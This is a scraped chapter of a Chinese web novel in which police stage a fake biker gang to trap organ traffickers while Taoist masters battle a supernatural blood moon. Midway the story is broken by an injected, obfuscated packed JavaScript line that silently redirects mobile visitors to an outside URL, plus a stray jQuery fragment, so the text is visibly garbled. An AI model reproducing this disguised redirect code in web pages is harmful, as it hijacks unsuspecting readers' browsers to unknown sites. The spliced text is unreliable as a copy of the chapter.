文趣网 > 都市小说 > 老辈子爆红没轻重 > 56.准备
    李元正和杨铮赶到逸蓝隧道的时候,看到了吴局长安排在那里的“飙车党”。

    李元正嗤笑了一声:“怪不得人手不够,全被他弄来飙车了,怎么可能够?”

    杨峥看了一眼他们两停在远处的车,“车上有人动了手脚?”

    李元正眉目不动,看着前面正在“飙车斗殴”的同事们,不得不佩服,老辈子的这一手,玩得可以。

    毕竟,同事们戴上了五颜六色的,假发。

    连摩托车都是改装过的那种。

    现在为什么杨峥要伏在自己耳边说这句话,因为同事们一直在用摩托车发出轰鸣声,实在太吵了。

    他来青云山不是要抓贩卖人体组织的这个团伙的人本身,而是要抓他们后面的人。

    可,应该去青云山的哪里抓呢?

    “李副队”,这个时候一个探员走到了李元正和杨峥身边,“你还记得前几天的心脏丢失案吗?就是幸存者里有个医生那次。”

    李元正点头这么印象深刻的案子,怎么会不记得?

    “我们上次就是从那条路上去的,喏,那个小房子就是上次我们找不到人的地方。”那个探员指了指道路斜面的一个小山坡,那里的密林之中影影绰绰可以看到一个房子的样子。

    李元正脸上露出莫测的表情。

    无非就是他们查心脏的去处,找到了青云山。

    现在要抓贩卖人体组织的团伙,却把他们以这样的形式安排在青云山,一定是这个团伙今天还会来青云山。

    要么,就是他们背后的人会来青云山。

    再联想到于和春特地给他写的纸条,和小狐狸那次说的话,那么这次的行动可能和国家安全有关。

    他们必须守住这道关卡,不能让国家安全出现一丁点问题。

    “李副队长!李副队长!”一阵叫声通过轰鸣的摩托车声传来。

    一听到有外人来,探员们轰鸣得越发用力,生怕别人发现他们不是“专业”的。

    李元正也是听了一会儿才听出有人在叫自己,烦躁地看了正在弄摩托的同事一眼,做戏要做全套,他不能出言制止,只能伸长了脖子看是谁在那边叫自己。

    下一秒,李元正的眼睛睁得很大很大,来的竟然是亭台楼阁的老板籁格宝,身边还跟着一只狗,和一条红蛇!

    什么鬼?

    李元正擦亮了眼睛,再睁开看去,发现是籁格宝身边跟着之前抓了之后移交给务实局的那只小狐狸,刚才那条红色的蛇已经消失不见了。

    籁格宝既然会来这里,还主动和自己打招呼。

    那么,它一定就是于和春安排的。

    于和春厉害啊,把小狐狸也安排过来了。

    这么说,是经过姜清平的同意了?

    李元正交代杨峥在原地看好场子,快步朝籁格宝那边跑过去。

    “籁老板,好久不见!”李元正伸出友谊的大手。

    小狐狸见了他,头往侧面一偏,要不是那个漂亮姐姐让那条蛇把它就出来帮忙,她才不愿意来呢!

    谁知道一来就看到这个死男人,真的讨厌死了!

    “嘿,小狐狸,你还别不高兴,我把你送到务实局,这才有你建功立业的今天,你那个什么修炼要是在务实局过了明路,人家也能奖励你点东西不是?”

    小狐狸一听,乖乖巧巧地坐下了,只是还是不愿意往李元正这边看。

    “那个,是于和春安排你们来的?”李元正问籁格宝。

    “对,她请问声先生传话让我们过来的。”籁格宝好歹是个老板,在人际交往这一块还是非常得心应手的。

    “问声先生?”李元正疑惑,眼前不就只有小狐狸和籁格宝两个吗?那么问声先生是?

    刚才他以为自己看错了的那条蛇!

    真的有一条蛇!

    于和春让一条蛇,去把籁格宝和小狐狸弄过来了?!

    不愧是于和春啊!

    他又问籁格宝:“于大师说什么了?”

    “她说让我们到这边接应他们,待会儿青云山会发生大事,小不点主要是带路去找黄鼠狼的洞府,我呢主要是对付天上的血月。”籁格宝说得轻松,其实,心里紧张极了。

    它的荣华富贵和金银财宝,今天稍有不慎自己就会葬身于此,这些东西都没有个后继人……

    可于和春的话它不敢不听,否则对不起于和春祖上救自己的那个人。

    要是让于和春今天在这里出事了,更对不起于和春祖上的那个人。

    李元正一听,对哦,小狐狸去过它亲戚的洞府,只是,不知道他们几个人跟着过去会不会有风险。

    要是对面是人,他肯定毫不犹豫就带着小狐狸先过去。

    可对面不是人,他甚至都不知道对面会用什么手段对付他们,况且现在上面的安排还不明确,他不能贸然拿兄弟们的性命去冒险。

    “嗯……”李元正正想说什么,同他一起演来处理事情的探员的探员就把他叫过去了,伏在他耳边说着什么。

    籁格宝假装没听,实际伸长了耳朵,只听见最后一句话:等他们把心脏送上来的时候,我们在青云山包抄,他们在手术室那边抓人。

    这么复杂的吗?手术室?把心脏送上来?

    它抬头看了一眼自己已经隐隐约约能看到形状的血月,是什么人要做这么丧心病狂的事情啊?把血月都给逼出来了,虽然它来了,可仅凭它和于和春的能力,也不一定能把这个血月带来的魔障给清除吧?

    *

    牛新在办公室里坐着悠闲,一想到自己海外的账户里又能多一笔钱,心里就舒爽。

    虽然这笔钱他花不了,但是女儿能花呀,女儿已经送出去留学了,有了那笔钱,女儿在国外吃穿不愁,多好呀。

    他已经安排他的人对郭贝慢慢提审,审完了,那边的事也办完了,人家的窝点也换了,对大家都好。

    过了今晚,难说还能拿一个嘉奖,多好呀!

    他不知道,一场瞒着他开展的行动正如火如荼地进行。

    吴局长已经派人到青云山附近的那个村子里去蹲着,只要有人一出来就跟上,剩下的也派人跟着,不把这些人上面下面的线揪出来,他就不姓吴。

    还有郭贝那边的画像一出来,就能把他的上线给准确地比对出来,看他们还往哪里逃!

    *

    不知过了多久,王齐在办公室的桌子上画符画得眼睛花,“我好困。”

    此言一出,正端坐着画符的于和春对着他凌空画了一道符,一瞬间,王齐只觉得自己如清风拂面,整个人都变得神清气爽了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899017|209307||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你是真的厉害!有你真是我的福气!”王齐气得想骂人,他想睡一会儿,就一会儿也不行吗?

    偏偏于和春以为他是要自己帮他变得精神起来,给他画了一个强力清醒符咒。

    听了王齐的话,于和春笑了笑,又看向窗子外面的血月,“王大师,姜副局长,血月,快满了。”

    明明早上还是一弯血月,可到现在,已经快变成满月了。

    这特么是谁在造孽啊!

    “姜副局长,我们一定要往青云山去了,不能再等了。”于和春站起来严肃地说。

    王齐连忙开始收刚才两个人画的符,他把于和春画的一半和自己画的所有收到了自己的包里,把剩下的于和春自己画的一半塞进了于和春的书包里。

    “好,我想办法带你们到青云山去。”姜清平知道现在无论如何也得出去了,于是给周凌风打电话。

    楼道里,姜清平趴在王齐的背上,路过的人看了都问一句:“怎么了?”

    “被鬼附体了,要回道观去驱邪!”王齐连忙说道,说完就快步背着姜清平进了电梯。

    “被鬼附体了?”留在楼道里的同事看到了,抿着嘴唇,只觉得这个夜晚的办公室确实有些阴森森的,于是端着泡面快步返回自己的那个办公室,找其他同事一起待着。

    又走了一段路,碰到了有些饿,从办公室里出来觅食的牛新。

    “干嘛呀你,一副见鬼了的样子。”牛新对着这个同事问道,总觉得这孩子贼眉鼠眼的,一看就是不把稳的,得找个机会好好教育一下。

    “牛副,您不知道,我刚才在走廊里碰到务实局那三个人了,您才怎么着?姜副局长让鬼给上身了,三个人,不,两个人背着姜副局长火急火燎地走了!我好怕啊,我,现在夜深了,他们几个打扑克提神呢,我自己出来弄点吃的,总觉得背后有东西跟着我,可害怕了!”小伙子三两下的把话给说完了。

    “姜副局长被鬼上身了?”牛新一脸不可置信。

    “嗯,人事不省了已经!”小伙子怕他不相信,说得非常严重。

    “不会吧,不是说他带来的那个王齐是个大师,然后那个女的,于和春,也是个大师,怎么能让他在这里,嗯,被正义的光照耀的这里,被鬼上身了呢?”牛新还是不相信。

    “这可说不清楚,常在河边走,哪有不湿鞋?说不定就是他们两个身上跟着的脏东西,不敢弄他两,就弄姜副呗。”小伙子说得煞有介事的样子。

    牛新还是觉得不应该,可转念一想,自己不是给王齐贴了一个符吗?那个符虽然是那边的人给的,但,也没跟他说是什么作用,难说就是用来对付务实局的。

    现在牛新愈发觉得,这一把稳了!

    王齐背着姜清平,带着于和春,跑到自己的车旁,他把钥匙拿给于和春:“你来开车。”

    于和春一把把姜清平接过来抗在自己肩膀上,“你来开车,我不会。”

    “你,你,你不会?”王齐以为自己听错了,她一个才修道的人,说不会开车?

    这合理吗?

    好吧,现在也来不及纠结这个了,王齐认命地开锁,上车,然后看着于和春把装晕的姜清平放进车里,关上门。

    然后用最快的速度发动汽车,往青云山去了。